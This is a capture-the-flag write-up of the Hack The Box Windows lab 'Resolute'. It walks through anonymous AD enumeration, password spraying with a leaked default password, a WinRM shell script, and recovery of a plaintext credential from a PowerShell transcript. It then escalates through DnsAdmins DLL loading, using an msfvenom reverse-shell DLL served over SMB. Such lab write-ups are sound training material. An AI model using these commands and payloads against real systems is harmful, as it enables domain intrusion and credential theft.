Hack The Box - Resolute

Resolute is a Windows machine considered easy/medium and Active Directory oriented. An anonymous login allows you to list accounts in the domain and identify a default password. Obtaining a shell thtough WinRM allows then to list the domain properties and to find a password for a user member of the local “DnsAdmins” group. Privilege escalation is done through a DLL hijacking.

Disclaimer : It is a rather quick presentation that deliberately omits the various research areas. Only the actual results and a quick approach are presented.

Discovery / Enumeration

A quick port scan gives us running services on the machine.

$ sudo nmap -sS -T4 -p0-10000 -sV -O -sC 10.10.10.169 -v 

Nmap scan report for 10.10.10.169
Host is up (0.13s latency).
Not shown: 9988 closed ports
PORT     STATE SERVICE      VERSION
53/tcp   open  tcpwrapped
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-11 18:35:03Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       .NET Message Framing

We manage to retrieve the domain and the different services tell us that we’re facing an Active Directory domain controler.

We quickly find that it is possible to request the AD without prior authentication. This behavior allow us to get several informations such as the user list. In the accounts description, we can see what seems to be a default password for the user marko, interesting !

$ enum4linux -a 10.10.10.169

 ============================= 
|    Users on 10.10.10.169    |
 ============================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail  Name: (null)  Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)  Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null)  Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette  Name: (null)  Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null)  Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null)  Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null)  Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)  Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia  Name: (null)  Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)  Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)  Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo  Name: (null)  Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)  Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null)  Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie  Name: (null)  Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki  Name: (null)  Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo  Name: (null)  Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per  Name: (null)  Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan  Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally  Name: (null)  Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon  Name: (null)  Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve  Name: (null)  Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null)  Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null)  Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf  Name: (null)  Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)  Desc: (null)

Important : In order to avoid DNS resolution trouble, don’t forget to add machine entries in the resolv.conf and hosts files.

$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux

10.10.10.169 megabank.local
$ cat /etc/resolv.conf 
search megabank.local
nameserver 10.10.10.169

Default password and user shell

We indicates the note Account created. Password set to Welcome123! for user marko. At this stage, we can think about a default password set by system administrators.

We build a simple user wordlist based on the previously retrieved ones and try to log in with each of them.

$ crackmapexec smb 10.10.10.169 -u user_list -p 'Welcome123!'
CME          10.10.10.169:445 RESOLUTE        [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:MEGABANK)
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\abigail:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\Administrator:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\angela:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\annette:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\annika:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\claire:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\claude:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\felicia:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\fred:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\Guest:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\gustavo:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\krbtgt:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\marcus:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\marko:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [+] MEGABANK\melanie:Welcome123! 
[*] KTHXBYE!

The user melanie is then owned ! However, this account is not an administrator and possibilities for remote command execution are limited. This is where WinRM (Windows Remote Management) comes in. It is a Microsoft HTTP service/protocol, based on WS-Management (SOAP) that allows remote administration of Windows machines. Back to our nmap scan, the port 5985, used by default by WinRM, is open.

Several ways to exploit it. I chose to use the following Ruby script.

$ cat winrm_shell.rb 
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.169:5985/wsman',
  user: 'MEGABANK\melanie',
  password: 'Welcome123!',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Which give the first machine access and the first flag !

$ ruby winrm_shell.rb 
PS > whoami
megabank\melanie

PS > type ../Desktop/user.txt
0cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PS > 

Enumeration and second account compromission

A quick enumeration phase about users and groups indicates that ryan is member of the Contractorsgroup, which is also member of the local DnsAdminsgroup. This user could be interesting.

PS > net user ryan /domain
User name                    ryan
Full Name                    Ryan Bertrand
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2020 9:15:02 AM
Password expires             Never
Password changeable          2/23/2020 9:15:02 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *Domain Users         *Contractors          
The command completed successfully.
PS > net localgroup DnsAdmins
Alias name     DnsAdmins
Comment        DNS Administrators Group

Members

-------------------------------------------------------------------------------
Contractors
The command completed successfully.

The next step is about file enumeration and information gathering. After several tries, we manage to get informations about the target account, left in a file on the disk.

PS > findstr /si ryan *.xml *.ini *.txt *.config *.sql *.php *.asp *.jsp *.bat *.vbs

PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS megabank\ryan@RESOLUTE Documents>
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
findstr.exe : FINDSTR: Cannot open Windows\Panther\UnattendGC\diagerr.xml
    + CategoryInfo          : NotSpecified: (FINDSTR: Cannot...dGC\diagerr.xml:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
FINDSTR: Cannot open Windows\Panther\UnattendGC\diagwrn.xml
FINDSTR: Cannot open Windows\PLA\System\System Diagnostics.xml
FINDSTR: Cannot open Windows\PLA\System\System Performance.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagerr.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagwrn.xml

By modifying the WinRM script used for the first user, we can get a new shell, using our fresh new access !

PS > whoami
megabank\ryan
PS > pwd

Path                   
----                   
C:\Users\ryan\Documents

Privilege escalation - DLL Hijacking

Some Internet research tells us a way to perform a privilege escalation on a Windows machine for a user who is a member of the DnsAdmins group.

It is indeed possible to have the DLL of our choice loaded by the DNS service. This DLL will then be executed with SYSTEM privilege.

The following resources explain the vulnerability:

First step, generate a DLL containing a reverse shell to our machine.

$ sudo msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.28 LPORT=5566 -f dll > privesc.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes

Then, a simple and temporary SMB server, used to remotely load our DLL.

$ sudo smbserver.py MYSHARE /path/to/HackTheBox/Resolute -smb2support
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Last step of preparation, we run our handler in order to get the incoming connection.

Once this is done, the exploitation is rather fast and have to be fast. Indeed, I’m not able to say if it comes from a possible antivirus on the machine, detecting our malicious DLL, or a simple configuration in order to make the machine accessible to everyone, but it turns out that each user seems to have a limited time to exploit the vulnerability once the registry key is set up. After a while, the registry key is cleaned up.

Good! The first step is to tell the DNS server to fetch our malicious DLL.

PS > dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.14.28\TESTLOL\privesc.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

We can confirm the command sucess by inspecting the associated registry key

PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

ServerLevelPluginDll : \\10.10.14.28\TESTLOL\privesc.dll
PSPath               : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
PSParentPath         : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS
PSChildName          : Parameters
PSDrive              : HKLM
PSProvider           : Microsoft.PowerShell.Core\Registry

Then, we have to restart the DNS service in order to let him load the DLL.

PS > sc.exe stop dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS > sc.exe query dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 1  STOPPED 
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS > sc.exe start dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3340
        FLAGS              : 

And that’s how we can get a sweet meterpreter… :)

msf5 exploit(multi/handler) > 
[*] Sending stage (206403 bytes) to 10.10.10.169
[*] Meterpreter session 1 opened (10.10.14.28:5566 -> 10.10.10.169:63985) at 2020-02-22 17:02:49 +0100

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3288 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>c

… Allowing us to compromize the machine and giving us the root flag !

C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>hostname
hostname
Resolute

w00ted !

Hack The Box - Forest Hack The Box - Nest